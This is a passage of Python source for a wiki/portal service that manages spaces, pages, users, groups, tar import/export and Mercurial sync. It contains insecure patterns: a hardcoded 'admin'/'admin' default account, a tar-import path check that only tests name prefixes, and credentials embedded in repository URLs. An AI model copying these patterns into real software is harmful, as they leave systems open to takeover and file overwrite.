repo\n\n        if not order:\n            space.order = 10000\n        else:\n            space.order = order\n\n        self.connection.space.save(space)\n\n        if name == ADMINSPACE:\n            return\n\n        dirname = self._getDir(name)\n        q.system.fs.createDir(dirname)\n        if self.pylabs_user and self.pylabs_group:\n            q.system.unix.chown(dirname, self.pylabs_user, self.pylabs_group)\n\n        #create a space page under the default admin space\n        spacefile = 's_' + name\n        spacectnt = p.core.codemanagement.api.getSpacePage(name)\n        if createHomePage:\n            self.createPage(name, \"Home\", content=\"\", order=10000, title=\"Home\", tagsList=tagsList)\n        description = \"%s management page\" % name\n        self.createPage(ADMINSPACE, spacefile, spacectnt, title=name, parent=\"Spaces\", description=description)\n\n        return space\n\n    def createProject(self, name, path, tagsList=list()):\n        \"\"\"\n        Create a new project\n\n        @param name: Name of the project\n        @param path: Relative path of the project files (relative from the pyapp location)\n        \"\"\"\n        if self.projectExists(name):\n            q.errorconditionhandler.raiseError(\"Project %s already exists.\" % name)\n\n        project = self.connection.project.new()\n        project.name = name\n        project.path = path\n        project.tags = ' '.join(tagsList)\n\n        self.connection.project.save(project)\n        return project\n\n    def updateProject(self, project, newname=None, path=None, tagsList=None):\n        \"\"\"\n        Update project\n\n        @param project: Project name or guid\n        @param newname: New project name\n        @param path: set project path\n        @param tagsList: New project tags list\n        \"\"\"\n        project = self.getProject(project)\n\n        if newname:\n            project.name = newname\n        if path:\n            project.path = path\n        if tagsList != None:\n            project.tags = ' '.join(tagsList)\n\n        self.connection.project.save(project)\n        return project\n\n    def _breadcrumbs(self, page):\n        breadcrumbs = list()\n        parent = page\n        while parent:\n            breadcrumbs.append({'guid': parent.guid,\n                                'name': parent.name,\n                                'title': parent.title})\n            parent = self.getPageByGUID(parent.parent) if parent.parent else None\n\n        breadcrumbs.reverse()\n        return breadcrumbs\n\n    def breadcrumbs(self, space, name):\n        return self._breadcrumbs(self.getPage(space, name))\n\n    def _createPage(self, space, name, content, title=None, tagsList=list(), category='portal',\n                   parent=None, filename=None, contentIsFilePath=False, pagetype=\"md\", description = None, order=None):\n\n        space = self.getSpace(space)\n        if self.pageExists(space.guid, name):\n            q.errorconditionhandler.raiseError(\"Page %s already exists.\"%name)\n\n        page = self.connection.page.new()\n        params = {\"name\":name, \"pagetype\": pagetype, \"space\":space.guid, \"category\":category,\n                  \"title\": title, \"filename\":filename, \"description\": description,\n                  \"content\":q.system.fs.fileGetContents(content) if contentIsFilePath else content\n                 }\n        for key in params:\n            if params[key] != None:\n                setattr(page, key, params[key])\n\n        page.creationdate = str(time.time())\n\n        try:\n            page.order = int(order)\n        except: #pylint: disable=W0702\n            page.order = 10000\n\n        tags = set(tagsList)\n        tags.add('space:%s' % space.name)\n        tags.add('page:%s' % name)\n        page.tags = ' '.join(tags)\n\n        if parent:\n            parent_page = self.getPage(space.guid, parent)\n            page.parent = parent_page.guid\n\n        self.connection.page.save(page)\n\n        return page\n\n    def createPage(self, space, name, content, order=None, title=None, tagsList=list(), category='portal',\n                   parent=None, filename=None, contentIsFilePath=False, pagetype=\"md\", description = None):\n        \"\"\"\n        Creates a new page.\n\n        @type space: String\n        @param space: The name of the space.\n\n        @type name: String\n        @param name: The name of the page.\n\n        @type content: String\n        @param content: The content of the page. This can also be a file path; in this case you should set contentIsFilePath=True.\n\n        @type order: Integer\n        @param order: Order of the page\n\n        @type title: String\n        @param title: Title of the page\n\n        @type tagsList: List\n        @param tagsList: A list containing all the tags you want to add to the page.\n\n        @type category: String\n        @param category: The category of the page. Default is 'portal'.\n\n        @type parent: String\n        @param parent: If you want this to become a child page, add the name of the parent page to this parameter. Default is None.\n\n        @type contentIsFilePath: Boolean\n        @param contentIsFilePath: If the content you gave is a file path, set this value to True. Default is False.\n\n        @type filename: string\n        @param filename: used by import directory script to store original file path\n        \"\"\"\n\n        # HACK to prevent race conditions causing creation of pages with the same name in DB:\n        lock = '%s_%s' % (space, name)\n        exceptionText = \"The page is already about to be created.\"\n        try:\n            locklib.acquire_lock(exceptionText, lock)\n        except locklib.IsLockedException:\n            q.logger.log(exceptionText)\n            return\n\n        try:\n            space = self.getSpace(space)\n            page = self._createPage(space=space, name=name, content=content,\n                             order=order, title=title, tagsList=tagsList, category=category,\n                             parent=parent, filename=filename, contentIsFilePath=contentIsFilePath,\n                             pagetype=pagetype, description = description)\n\n            self._syncPageToDisk(space.name, page)\n        finally:\n            locklib.release_lock(lock)\n\n        return page\n\n    def updateSpace(self, space, newname=None, tagslist=None, repository=None, repo_username=None, repo_password=None, order=None):\n        space = self.getSpace(space)\n\n        # Allow the modification of the order attribute for Admin and IDE spaces:\n        if (space.name == ADMINSPACE or space.name == IDESPACE) and (newname or tagslist or repository or repo_username or repo_password):\n            raise ValueError(\"You can only modify the order for %s space\" %space.name)\n\n        oldname = space.name\n\n        if newname != None and newname != oldname:\n            if self.spaceExists(newname):\n                q.errorconditionhandler.raiseError(\"Space %s already exists.\" % newname)\n            space.name = newname\n\n        if tagslist:\n            space.tags = ' '.join(tagslist)\n\n        if repository:\n            space.repository.url = repository\n\n        if repo_username:\n            space.repository.username = repo_username\n\n        if repo_password:\n            space.repository.password = repo_password\n\n        if order:\n            space.order = order\n\n        self.connection.space.save(space)\n\n        if newname != None and oldname != newname:\n            #rename space page.\n            newspacefile = 's_' + newname\n            oldspacefile = 's_' + oldname\n            description = '%s management page' % newname\n            self.updatePage(space = ADMINSPACE, old_name = oldspacefile, name=newspacefile, content=p.core.codemanagement.api.getSpacePage(newname),\n                title=newname, description=description)\n\n            #sync file system\n            self._moveDir(self._getDir(oldname),\n                          self._getDir(newname))\n\n        return space\n\n    def _updatePage(self, space, old_name, name=None, tagsList=None, content=None, description = None,\n                   order=None, title=None, parent=None, category=None, pagetype=None, filename=None, contentIsFilePath=False):\n\n        space = self.getSpace(space)\n        page = self.getPage(space.guid, old_name)\n\n        params = {\"name\": name, \"pagetype\": pagetype, \"category\":category,\n                  \"title\": title, \"order\": order, \"filename\":filename, \"description\": description,\n                  \"content\":q.system.fs.fileGetContents(content) if contentIsFilePath else content\n                  }\n\n        for key in params:\n            if params[key] != None:\n                setattr(page, key, params[key])\n        page.creationdate = str(time.time())\n\n        if tagsList:\n            page.tags = ' '.join(tagsList)\n\n        if parent:\n            parent_page = self.getPage(space, parent)\n            page.parent = parent_page.guid\n\n        self.connection.page.save(page)\n\n        return page\n\n    def updatePage(self, space, old_name, name=None, tagsList=None, content=None,\n                   order=None, title=None, parent=None, category=None, pagetype=None, filename=None, contentIsFilePath=False, description=None):\n        \"\"\"\n        Updates an existing page.\n\n        @type space: String\n        @param space: The name of the space.\n\n        @type old_name: String\n        @param old_name: The name of the page.\n\n        @type space: String\n        @param space: Gives the page a new space.\n\n        @type name: String\n        @param name: Gives the page a new name.\n\n        @type tagsList: List\n        @param tagsList: Appends tags in this list to the current tags of the page.\n\n        @type content: String\n        @param content: The new content of the page. This can also be a file path; in this case you should set contentIsFilePath=True.\n\n        @type order: Integer\n        @param order: Order of the page\n\n        @type title: String\n        @param title: Title of the page\n\n        @type category: String\n        @param category: Gives the page a new category.\n\n        @type parent: String\n        @param parent: Gives the page a new parent.\n\n        @type contentIsFilePath: Boolean\n        @param contentIsFilePath: If the content you gave is a file path, set this value to True. Default is False.\n\n        @type filename: string\n        @param filename: used by import directory script to store original file path\n        \"\"\"\n\n        # HACK to prevent race conditions causing creation of pages with the same name in DB:\n        lock = '%s_%s' % (space, old_name)\n        exceptionText = \"The page is already about to be updated.\"\n        try:\n            locklib.acquire_lock(exceptionText, lock)\n        except locklib.IsLockedException:\n            q.logger.log(exceptionText)\n            return\n\n        try:\n            space = self.getSpace(space)\n            if parent:\n                oldPageObject = self.getPage(space.guid, old_name) #this we need if we change parent\n            else:\n                oldPageObject = None\n\n            page = self._updatePage(space=space, old_name=old_name, name=name, tagsList=tagsList, content=content,\n                             order=order, title=title, parent=parent, category=category,\n                             pagetype=pagetype, filename=filename, contentIsFilePath=contentIsFilePath, description=description)\n            self._syncPageToDisk(space.name, page, old_name, oldPageObject)\n        finally:\n            locklib.release_lock(lock)\n        return page\n\n    def findMacroConfig(self, space=\"\", page=\"\", macro=\"\", configId=None, username=None, exact_properties=None):\n        configFilter = self.connection.config.getFilterObject()\n        exact_properties = exact_properties or ()\n        if space:\n            space = self._getSpaceGuid(space)\n            configFilter.add('config', 'space', space, 'space' in exact_properties)\n            if page:\n                configFilter.add('config', 'page', self._getPageInfo(space, page)[0]['guid'],\n                    'page' in exact_properties)\n        configFilter.add('config', 'macro', macro, 'macro' in exact_properties)\n        configFilter.add('config', 'username', username, 'username' in exact_properties)\n        if configId:\n            configFilter.add('config', 'configid', configId, 'configid' in exact_properties)\n        return self.connection.config.findAsView(configFilter, 'config')\n\n    def getMacroConfig(self, space, page, macro, configId=None, username=None):\n        username = username.lower() if username else None\n        configInfo = self.findMacroConfig(space, page, macro, configId, username,\n            exact_properties=(\"space\", \"page\", \"macro\", \"configid\", \"username\"))\n        if not configInfo:\n            q.errorconditionhandler.raiseError(\"Config does not exist for /%s/%s/%s/%s for user %s\" %\n                (space, page, macro, configId, username))\n        return self.connection.config.get(configInfo[0]['guid'])\n\n    def setMacroConfig(self, space, page, macro, data, configId=None, username=None):\n        username = username.lower() if username else None\n        configInfo = self.findMacroConfig(space, page, macro, configId, username,\n            exact_properties=(\"space\", \"page\", \"macro\", \"configid\", \"username\"))\n        if not configInfo:\n            config = self.connection.config.new()\n            config.space = self._getSpaceGuid(space)\n            config.page = self._getPageInfo(config.space, page)[0]['guid']\n            config.macro = macro\n            if configId:\n                config.configid = configId\n            if username:\n                config.username = username\n        else:\n            config = self.connection.config.get(configInfo[0]['guid'])\n        config.data = data\n        self.connection.config.save(config)\n\n    def importSpace(self, space, filename, cleanImport = False):\n        import tarfile #pylint: disable=W0404\n        def filterFiler(filename):\n            return (filename.startswith(\"/\") or filename.startswith(\"..\"))\n        join = q.system.fs.joinPaths\n        q.logger.log('importing file %s for space %s' % (filename, space), 5)\n        tarFile = tarfile.open(filename)\n        invalidlinks = filter(filterFiler, tarFile.getnames()) #pylint: disable=W0141\n        if invalidlinks:\n            #Prepare error message\n            if len(invalidlinks) > 15:\n                invalidlinks = invalidlinks[:14]\n                invalidlinks.append(\"...\")\n            raise ValueError(\"File names must be relative, please remove the following files\\n\"%\"\\n\".join(invalidlinks))\n        dest = self._getDir(space)\n        #if the space already exists, I should remove it first\n        if self.spaceExists(space) and cleanImport:\n            q.system.fs.removeDirTree(dest)\n            q.system.fs.createDir(dest)\n        tarFile.extractall(join(dest, \"\"))\n        tarFile.close()\n        self.syncPortal(space=space)\n\n    def exportSpace(self, space, filename):\n        import tarfile #pylint: disable=W0404\n        join = q.system.fs.joinPaths\n        def buildTree(client, path, space, pagenams = None):\n            if not pagenams:\n                pagenams = client.listChildPages(space)\n            for pagename in pagenams:\n                childpages = client.listChildPages(space, pagename)\n                if childpages:\n                    pagepath = join(path, pagename)\n                    q.system.fs.createDir(pagepath)\n                    buildTree(client, pagepath, space, childpages)\n                page = client.getPage(space, pagename)\n                filename = join(path, pagename + \".md\")\n                fpage = open(filename, \"a\")\n                fpage.truncate(0)\n\n                if page.tags:\n                    fpage.write(\"@metadata tagstring = %s\\n\" % str(page.tags))\n\n                for metadataItem in ('order', 'title', 'description'):\n                    metadata = getattr(page, metadataItem)\n                    if metadata:\n                        fpage.write('@metadata %s = %s\\n' % (metadataItem, metadata))\n\n                fpage.write(page.content)\n                fpage.close()\n\n        q.logger.log('exporting space %s to file %s' % (space, filename), 5)\n        tempdir = join(q.dirs.tmpDir, space)\n        q.system.fs.createDir(tempdir)\n        buildTree(self, tempdir, space)\n        tarFile = tarfile.open(filename, mode=\"w|gz\")\n        tarFile.add(tempdir, \"\")\n        tarFile.close()\n        q.system.fs.removeDirTree(tempdir)\n\n    def exportPage(self, space, filename, spacesRoot = None):\n        \"\"\"\n        this method writes the page on the disk, with metadata and regular content\n        @params space: string to represent the space name\n        @type space: string\n        @params filename: string to represent the file name\n        @type filename: string\n        @params spacesRoot: string to help construct the folder path(together with the path of file relative to the parent of the space)\n                            where to write the file, if None overwrite existing file\n                            example: space = 'View', filename='florin', spacesRoot = 'root', the final destination will be: /root/View/florin.md\n        @type spacesRoot: string\n        \"\"\"\n\n        spaceobject = self.getSpace(space)\n        spaceguid = spaceobject.guid\n        page_info = self.pageFind(name = filename, space = spaceguid, exact_properties=(\"name\", \"space\"))\n        if len(page_info) > 1:\n            raise ValueError('Multiple pages found!')\n\n        pageObject = self.getPage(space, filename)\n        filePath = self.getPageLocation(space, pageObject)\n        if spacesRoot:\n            filePath = os.path.relpath(filePath, os.path.dirname(self._getDir(space)))\n            filePath = os.path.join(spacesRoot, filePath)\n        q.system.fs.createDir(os.path.dirname(filePath))\n\n        #we write the metadata, and also the content of the page\n        metadataDict = {}\n        head = '@metadata'\n        metadataDict['title']       = '%s title=%s\\n' % (head, pageObject.title) if pageObject.title != None else \"\"\n        metadataDict['description'] = '%s description=%s\\n' % (head, pageObject.description) if pageObject.description != None else \"\"\n        metadataDict['tagstring']   = '%s tagstring=%s\\n' % (head, pageObject.tags) if pageObject.tags != None else \"\"\n        metadataDict['order']       = '%s order=%s\\n' % (head, pageObject.order) if pageObject.order != None else \"\"\n        pageContent = pageObject.content if pageObject.content != None else \"\"\n\n        finalContent = str()\n        for metadata in metadataDict:\n            finalContent = '%s%s' % (finalContent, metadataDict[metadata])\n        finalContent = '%s\\n%s' % (finalContent, pageContent)\n\n        q.system.fs.writeFile(filePath, finalContent)\n\n\n    def hgCheckInfo(self, space, repository, repo_username, repo_password):\n        if space.repository.url != repository or space.repository.username != repo_username or \\\n            (repo_password and space.repository.password != repo_password):\n\n            self.updateSpace(space.guid, repository=repository, repo_username=repo_username,\n                repo_password=repo_password)\n            return True\n        return False\n\n    def createRepoUrl(self, repo):\n        from urlparse import urlsplit, urlunsplit #pylint: disable=W0404\n        url = urlsplit(repo.url)\n        return urlunsplit((url.scheme, \"%s:%s@%s\" % (repo.username, repo.password, url.netloc), url.path, url.query, url.fragment)) #pylint: disable=E1103\n\n    def hgPushSpace(self, space, repository, repo_username, repo_password=None):\n        if not repository:\n            return \"Please give a repository to push to.\"\n        join = q.system.fs.joinPaths\n        tempdir = join(q.dirs.tmpDir, space) #here we clone the repo\n        spaceInfo = self.getSpace(space)\n\n        #check if we need to update the repo in osis\n        if self.hgCheckInfo(spaceInfo, repository, repo_username, repo_password):\n            #update to reflect changes\n            spaceInfo = self.getSpace(space)\n\n        repoUrl = self.createRepoUrl(spaceInfo.repository)\n\n        q.logger.log('pushing space %s to %s' % (spaceInfo.name, spaceInfo.repository.url), 5)\n\n        #we clone the repo\n        hg = q.clients.mercurial.getclient(tempdir, repoUrl)\n        #we copy the space in the same dir as where we cloned the repo\n        spaceDir = self._getDir(space)\n        q.system.fs.copyDirTree(spaceDir, tempdir)\n\n        #check if we already have the latest version\n        retval, msg = hg._hgCmdExecutor(\"incoming\", source=hg.getUrl(), die=False, autoCheckFix=False) #pylint: disable=W0212\n        if retval == 1 and \"no changes found\" in msg: #no changes we can push\n            #set the username for the commit\n            hg._ui.environ[\"HGUSER\"] = spaceInfo.repository.username #pylint: disable=W0212\n            hg.addremove('Add new files, and drop deleted files')\n            hg.pushcommit(\"automated commit by Alkira\", addRemoveUntrackedFiles=True)\n            q.system.fs.removeDirTree(tempdir)\n            return True\n        else:\n            q.system.fs.removeDirTree(tempdir)\n            return False\n\n    def hgPullSpace(self, space, repository, repo_username, repo_password=None, dontSync=False):\n        if not repository:\n            return \"Please give a repository to pull from.\"\n\n        join = q.system.fs.joinPaths\n        spaceInfo = self.getSpace(space)\n\n        #check if we need to update the repo in osis\n        if self.hgCheckInfo(spaceInfo, repository, repo_username, repo_password):\n            #update to reflect changes\n            spaceInfo = self.getSpace(space)\n\n        repoUrl = self.createRepoUrl(spaceInfo.repository)\n\n        #pull everything\n        q.logger.log('pulling space %s from %s' % (spaceInfo.name, spaceInfo.repository.url), 5)\n        repoDir = self._getDir(spaceInfo.name)\n        cleandir = False\n        if self.countPages(space):\n            homepage = self.getPage(space, 'Home')\n            cleandir = not bool(homepage.content)\n\n        hg = q.clients.mercurial.getclient(repoDir, repoUrl, cleandir=cleandir)\n        hg.pullupdate()\n        q.system.fs.removeDirTree(join(repoDir, '.hg'))\n        #resync pages for space\n        if not dontSync:\n            self.syncPortal(space=spaceInfo.name)\n\n        return True\n\n    def getitems(self, prop, space=None, term=None):\n        page = self.osis.findTable(\"ui\", \"page\")\n\n        space = self.getSpace(space)\n\n        t = term.split(', ')[-1] if term else ''\n\n        columns = [ getattr(page.c, prop) ]\n        where = []\n\n        where.append(page.c.space == space.guid)\n\n        if t:\n            where.append(getattr(page.c, prop).like('%%%s%%' % t))\n\n        select = sqlalchemy.select(columns, whereclause=sqlalchemy.and_(*where), distinct=True)  #pylint:disable=W0142\n\n        qr = self.osis.runSqlAlchemyQuery(select)\n        result = []\n        for row in qr:\n            result.append(row[0])\n\n        return result\n\n    def syncPortal(self, path=None, space=None, page=None, cleanup=None):\n        def deletePages(space):\n            pages = self.pageFind(space=space)\n            for page in pages:\n                self.connection.page.delete(page)\n\n        def pageDuplicate(page):\n            page_name = q.system.fs.getBaseName(page)\n            if page_name in page_occured:\n                q.errorconditionhandler.raiseError(\"Another page with the name '%s' already exists on this space. Will NOT create/update the following page (%s)\"% (page_name, page))\n            else:\n                page_occured.append(page_name)\n\n        def filterContent(page_content):\n            content_dict = {}\n            page_lines = page_content.splitlines()\n            while len(page_lines) and page_lines[0].startswith('@metadata'):\n                meta_line = page_lines.pop(0)\n                meta_line = meta_line.replace('@metadata', \"\")\n                meta_list = meta_line.split('=')\n\n                header = meta_list[0].strip()\n                value = meta_list[1].strip()\n\n                content_dict[header] = value\n\n            filtered_content = \"\\n\".join(page_lines)\n            content_dict['content'] = filtered_content\n\n            return content_dict\n\n        def createPage(page_file, parent=None):\n            pageDuplicate(page_file)\n            name = q.system.fs.getBaseName(page_file).split('.')[0]\n            content = q.system.fs.fileGetContents(page_file)\n            page_info = self.pageFind(name=name, space=spaceguid, exact_properties=(\"name\", \"space\"))\n\n            if len(page_info) > 1:\n                raise ValueError('Multiple pages found!')\n            elif len(page_info) == 1:\n                save_page = functools.partial(self._updatePage, old_name=name)\n                q.console.echo('Updating page: %s'%name, indent=4)\n            else:\n                save_page = self._createPage\n                q.console.echo('Creating page: %s'%name, indent=3, withStar=True)\n\n            # Setting content and metadata\n            page_content_dict = filterContent(content)\n            content = page_content_dict.get('content', 'Page is empty.')\n\n            #if the page get's updated, then leave the metadata to be the one from the disk or to be None values, so that the values from the database are preserved\n            if len(page_info) == 1:\n                title = page_content_dict.get('title')\n                order = page_content_dict.get('order')\n                order = int(order) if order else None\n                description = page_content_dict.get('description')\n                tags = page_content_dict.get('tagstring')\n                if tags:\n                    tags = tags.split(\" \")\n                    tags = set(tags)\n                    keys = list()\n                    for tag in tags:\n                        if tag.find(':') != -1:\n                            keys.append(tag.split(':')[0])\n\n                    if 'space' not in keys:\n                        tags.add('space:%s' % space)\n\n                    if 'page' not in keys:\n                        tags.add('page:%s' % name)\n\n                    for tag in re.sub('((?=[A-Z][a-z])|(?<=[a-z])(?=[A-Z]))', ' ', name).strip().split(' '):\n                        tags.add(tag)\n\n            else:\n                title = page_content_dict.get('title', name)\n                order = int(page_content_dict.get('order', '10000'))\n                description = page_content_dict.get('description')\n                # Creating and setting tags\n                tags = page_content_dict.get('tagstring', \"\").split(\" \")\n                tags = set(tags)\n                tags.add('space:%s' % space)\n                tags.add('page:%s' % name)\n                for tag in re.sub('((?=[A-Z][a-z])|(?<=[a-z])(?=[A-Z]))', ' ', name).strip().split(' '):\n                    tags.add(tag)\n\n            if name == \"Home\" and spaceobject.name != \"Admin\":\n                self.updateSpace(spaceobject.name, order=int(page_content_dict.get('spaceorder', '1000')))\n\n            save_page(space=space, name=name, content=content, order=order, title=title, tagsList=tags, category='portal', parent=parent, description = description)\n\n        def alkiraTree(folder_paths, root_parent=None): #pylint: disable=W0613\n            for folder_path in folder_paths:\n                base_name = q.system.fs.getBaseName(folder_path)\n\n                # Ignore hg dir\n                if base_name == '.hg':\n                    continue\n\n                folder_name = base_name.split('.')[0]\n                parent_name = folder_name + '.md'\n                parent_dir = q.system.fs.getParent(folder_path)\n                parent_path = q.system.fs.joinPaths(parent_dir, parent_name)\n\n                if not q.system.fs.exists(parent_path):\n                    q.errorconditionhandler.raiseError(\\\n                        'The directory \"%s\" does not have a page \"%s\" specified for it.' % (parent_dir, parent_name))\n\n                base_name += \".md\"\n                children_files = q.system.fs.listFilesInDir(folder_path, filter='*.md')\n                for child_file in children_files:\n                    if q.system.fs.getBaseName(child_file) != base_name:\n                        createPage(child_file, parent=folder_name)\n\n                sub_folders = q.system.fs.listDirsInDir(folder_path)\n                if sub_folders:\n                    alkiraTree(sub_folders, root_parent=folder_name)\n\n        md_path = ''\n        if not path:\n            md_path = q.system.fs.joinPaths(q.dirs.baseDir, 'pyapps', self.api.appname, 'portal', 'spaces')\n        else:\n            md_path = path\n\n        if cleanup:\n            deletePages(space)\n\n        if space:\n            space_dir = q.system.fs.joinPaths(md_path, space)\n            if not q.system.fs.exists(space_dir):\n                q.errorconditionhandler.raiseError('Space \"%s\" does not exist.'%space)\n            portal_spaces = [space_dir]\n        else:\n            portal_spaces = q.system.fs.listDirsInDir(md_path)\n\n        #make the first space is the Admin Space\n        portal_spaces = sorted(portal_spaces, lambda x, y: -1 if x.endswith(\"/\" + ADMINSPACE) else 1)\n\n        for folder in portal_spaces:\n            space = folder.split(os.sep)[-1]\n            spaceguid = None\n            if space not in self.listSpaces():\n                #create space\n                self.createSpace(space, createHomePage=False)\n\n            spaceobject = self.getSpace(space)\n            spaceguid = spaceobject.guid\n\n            q.console.echo('Syncing space: %s' % space)\n\n            page_occured = list()\n\n            if page:\n                page_file = q.system.fs.walk(folder, 1, '%s.md' % page)\n                if not page_file:\n                    q.errorconditionhandler.raiseError(\"Could not find %s in space %s\" % (page, space))\n                createPage(page_file[0])\n                return\n\n            folder_paths = q.system.fs.listDirsInDir(folder)\n            main_files = q.system.fs.listFilesInDir(folder, filter='*.md')\n\n            for each_file in main_files:\n                createPage(each_file)\n\n            alkiraTree(folder_paths)\n\n    def _getUserInfo(self, login=None):\n        searchfilter = self.connection.user.getFilterObject()\n        if login:\n            searchfilter.add('user', 'login', login, True)\n        user = self.connection.user.findAsView(searchfilter, 'user')\n        return user\n\n    def listUsers(self, login=None):\n        return map(lambda item: item[\"login\"], self.listUserInfo(login)) #pylint: disable=W0141\n\n    def listUserInfo(self, login=None):\n        return self._getUserInfo(login)\n\n    def listUsersInfo(self):\n        usersInfo = list()\n        users = self._getUserInfo()\n        for user in users:\n            usersInfo.append({\"name\": user[\"name\"], \"guid\": user[\"guid\"],\n                \"groups\": filter(None, user[\"groupguids\"].split(\";\"))}) #pylint: disable=W0141\n        return usersInfo\n\n    def createUser(self, login, name=None, password=None, oauthInfo=None):\n        userInfo = {\"login\": login, \"name\": name if name else login}\n        if password:\n            userInfo[\"password\"] = password\n        return self._callAuthService(\"createUser\", oauthInfo, userinfo=userInfo)\n\n    def updateUser(self, userguid, name=None, password=None, oauthInfo=None):\n        userinfo = {}\n        if name:\n            userinfo[\"name\"] = name\n        if password:\n            userinfo[\"password\"] = password\n\n        if userinfo:\n            return self._callAuthService(\"updateUser\", oauthInfo, userid=userguid, userinfo=userinfo)\n        return False\n\n    def deleteUser(self, userguid, oauthInfo=None):\n        return self._callAuthService(\"deleteUser\", oauthInfo, userid=userguid)\n\n    def getUser(self, name):\n        user_info = self._getUserInfo(name)\n        if not user_info:\n            q.errorconditionhandler.raiseError(\"User %s does not exist.\" % name)\n        return self.connection.user.get(user_info[0]['guid'])\n\n    def getUserGroups(self, name):\n        searchfilter = self.connection.user.getFilterObject()\n        searchfilter.add('user', 'login', name, True)\n        user = self.connection.user.findAsView(searchfilter, 'user')\n        if user and len(user) == 1:\n            return filter(None, user[0][\"groupguids\"].split(\";\")) #pylint: disable=W0141\n\n    def addUserToGroup(self, userguid, groupguid, oauthInfo=None):\n        return self._callAuthService(\"addUserToGroup\", oauthInfo, userid=userguid, usergroupid=groupguid)\n\n    def removeUserFromGroup(self, userguid, groupguid, oauthInfo=None):\n        return self._callAuthService(\"deleteUserFromGroup\", oauthInfo, userid=userguid, usergroupid=groupguid)\n\n    def createGroup(self, name, oauthInfo=None):\n        groupInfo = {\"name\": name}\n        return self._callAuthService(\"createUsergroup\", oauthInfo, usergroupinfo=groupInfo)\n\n    def _getGroupInfo(self, name=None):\n        searchfilter = self.connection.group.getFilterObject()\n        if name:\n            searchfilter.add('group', 'name', name, True)\n        group = self.connection.group.findAsView(searchfilter, 'group')\n        return group\n\n    def deleteGroup(self, groupguid, oauthInfo=None):\n        return self._callAuthService(\"deleteUsergroup\", oauthInfo, usergroupid=groupguid)\n\n    def updateGroup(self, groupguid, name):\n        if groupguid == self.adminGroupGuid:\n            return False\n\n        group = self.connection.group.get(groupguid)\n        group.name = name\n        self.connection.group.save(group)\n        return group.guid\n\n    def listGroupsInfo(self):\n        groupsInfo = list()\n        groups = self._getGroupInfo()\n        for group in groups:\n            groupsInfo.append({\"name\": group[\"name\"], \"guid\": group[\"guid\"]})\n        return groupsInfo\n\n    def listGroups(self, name):\n        return map(lambda item: item[\"name\"], self._getGroupInfo(name)) #pylint: disable=W0141\n\n    def assignRule(self, groupguids, function, context, oauthInfo=None):\n        return self._callAuthService(\"authorise\", oauthInfo, groups=groupguids, functionname=function, context=context)\n\n    def _getRuleInfo(self, groupguid=None, function=None, context=None):\n        searchfilter = self.connection.authoriserule.getFilterObject()\n        if groupguid:\n            searchfilter.add('authoriserule', 'groupguids', \";\" + groupguid + \";\", False)\n        if function:\n            searchfilter.add('authoriserule', 'function', function, True)\n        if context:\n            searchfilter.add('authoriserule', 'context', context, True)\n        rule = self.connection.authoriserule.findAsView(searchfilter, 'authoriserule')\n        return rule\n\n    def revokeRule(self, groupguids, function, context, oauthInfo=None):\n        return self._callAuthService(\"unAuthorise\", oauthInfo, groups=groupguids, functionname=function,\n            context=context)\n\n    def listRulesInfo(self):\n        rulesInfo = list()\n        rules = self._getRuleInfo()\n        for rule in rules:\n            rulesInfo.append({\"name\": rule[\"guid\"], \"guid\": rule[\"guid\"],\n                \"groups\": filter(None, rule[\"groupguids\"].split(\";\")),  #pylint: disable=W0141\n                \"function\": rule[\"function\"], \"context\": rule[\"context\"]})\n        return rulesInfo\n\n    def createDefaultRules(self):\n        try:\n            adminGuid = self.createUser(\"admin\", \"Admin User\", \"admin\")\n        except: #pylint: disable=W0702\n            return\n\n        import sys #pylint: disable=W0404\n        sys.path.insert(0, os.path.join(os.path.dirname(__file__), \"auth_backend\"))\n        authbackend = __import__(\"authbackend\", level=1)\n\n        adminsGuid = self._getGroupInfo(getattr(authbackend, \"ADMIN_GROUP\"))[0][\"guid\"]\n        self.addUserToGroup(adminGuid, adminsGuid)\n\n        publicGroupGuid = self._getGroupInfo(getattr(authbackend, \"PUBLIC_GROUP\"))[0][\"guid\"]\n        pageCreatorsGuid = self.createGroup(\"Page Creators\")\n        pageEditorsGuid = self.createGroup(\"Page Editors\")\n        developersGuid = self.createGroup(\"Developers\")\n\n        def assignRuleTryCatch(groups, function, context):\n            try:\n                self.assignRule(groups, function, context)\n            except: #pylint: disable=W0702\n                pass\n\n        def assignRules(rules):\n            for rule in rules:\n                if not \"defaultGroups\" in rule:\n                    continue\n                if not \"authorizeRule\" in rule:\n                    continue\n\n                if \"admin\" in rule[\"defaultGroups\"]:\n                    assignRuleTryCatch([adminsGuid], rule[\"authorizeRule\"], {})\n                if \"public\" in rule[\"defaultGroups\"]:\n                    assignRuleTryCatch([publicGroupGuid], rule[\"authorizeRule\"], {})\n                if \"creator\" in rule[\"defaultGroups\"]:\n                    assignRuleTryCatch([pageCreatorsGuid], rule[\"authorizeRule\"], {})\n                if \"editor\" in rule[\"defaultGroups\"]:\n                    assignRuleTryCatch([pageEditorsGuid], rule[\"authorizeRule\"], {})\n                if \"developer\" in rule[\"defaultGroups\"]:\n                    assignRuleTryCatch([developersGuid], rule[\"authorizeRule\"], {})\n\n\n        from lfw import LFWService #pylint: disable=F0401\n        assignRules(LFWService.getAuthorizedFunctions())\n\n        assignRules(AuthService.getAuthorizedFunctions())\n\n        from ide import ide #pylint: disable=F0401\n        assignRules(ide.getAuthorizedFunctions())\n\n    def createBookmark(self, name, url, order=99):\n        bookmark = self.connection.bookmark.new()\n        bookmark.name = name\n        bookmark.url = url\n        bookmark.order = order\n        self.connection.bookmark.save(bookmark)\n        return bookmark\n\n    def updateBookmark(self, bookmarkguid, name=None, url=None, order=None):\n        if not any((name, url, order)):\n            return\n\n        bookmark = self.connection.bookmark.get(bookmarkguid)\n        if name:\n            bookmark.name = name\n        if url:\n            bookmark.url = url\n        if order != None:\n            bookmark.order = order\n\n        self.connection.bookmark.save(bookmark)\n        return bookmark\n\n    def deleteBookmark(self, bookmarkguid):\n        self.connection.bookmark.delete(bookmarkguid)\n\n    def listBookmarks(self):\n        _filter = self.connection.bookmark.getFilterObject()\n        bookmarks = self.connection.bookmark.findAsView(_filter, 'bookmark')\n\n        def byOrder(x, y):\n            return cmp(x[\"order\"], y[\"order\"])\n\n        bookmarks.sort(byOrder)\n        return bookmarks\n","repo_name":"racktivity/ext-lfw","sub_path":"services/lfw/alkira.py","file_name":"alkira.py","file_ext":"py","file_size_in_byte":61128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
